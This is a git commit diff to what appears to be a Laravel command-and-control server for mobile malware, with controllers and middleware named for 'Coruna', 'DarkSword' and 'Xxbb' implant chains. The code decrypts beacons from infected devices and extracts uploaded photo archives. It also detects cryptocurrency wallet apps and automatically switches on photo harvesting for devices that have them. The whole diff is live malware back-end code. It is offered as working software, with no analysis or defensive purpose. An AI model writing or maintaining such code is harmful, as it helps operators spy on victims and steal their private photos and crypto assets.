feat: close alumb

This commit is contained in:
hashbro
2026-08-30 23:36:30 +08:00
parent 17633e3959
commit f6fb00c52a
15 changed files with 263 additions and 48 deletions
+1 -1
View File
@@ -137,7 +137,7 @@ class C2Controller extends Controller
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase);
@@ -3,6 +3,7 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
@@ -274,18 +275,22 @@ class DarkSwordC2Controller extends Controller
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
?? $request->attributes->get('coruna_device_key');
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
}
return $response;
}
+1 -1
View File
@@ -108,7 +108,7 @@ class XxbbC2Controller extends Controller
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
+20 -13
View File
@@ -2,6 +2,7 @@
namespace App\Http\Middleware;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -81,19 +82,21 @@ class DecryptCorunaBody
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
}
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
@@ -108,6 +111,10 @@ class DecryptCorunaBody
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
{
if (! Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
return;
}
$respBody = (string) $response->getContent();
$respTs = (string) $response->headers->get('timestamp', '');
$respHeaders = [];
+16 -13
View File
@@ -3,6 +3,7 @@
namespace App\Http\Middleware;
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -81,19 +82,21 @@ class DecryptXxbbBody
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $meta['headers'],
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'xxbb');
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $meta['headers'],
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'xxbb');
}
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
+20 -1
View File
@@ -25,6 +25,7 @@ class Device extends Model
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'chain' => self::CHAIN_CORUNA,
'album_storage' => false,
];
protected function casts(): array
@@ -63,7 +64,25 @@ class Device extends Model
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
return (bool) ($this->album_storage ?? false);
}
/** Photos and C2/DS file logs — only when album is on or wallet apps are present. */
public function persistCaptureEnabled(): bool
{
return $this->albumStorageEnabled() || $this->hasWalletApps();
}
public static function captureEnabledForKey(?string $deviceKey): bool
{
$key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? '';
if ($key === '') {
return false;
}
$device = static::query()->where('device_id', $key)->first()
?? static::query()->where('device_id', strtoupper($key))->first();
return $device?->persistCaptureEnabled() ?? false;
}
public function apps(): HasMany
+2 -2
View File
@@ -70,7 +70,7 @@ class DarkSwordIngestAdapter
private function ingestStage(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
return;
}
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
@@ -111,7 +111,7 @@ class DarkSwordIngestAdapter
private function ingestLog(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
return;
}
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
+3
View File
@@ -422,6 +422,9 @@ class IngestService
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
if ($device->has_wallet === Device::WALLET_YES && ! $device->albumStorageEnabled()) {
$device->album_storage = true;
}
$device->save();
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {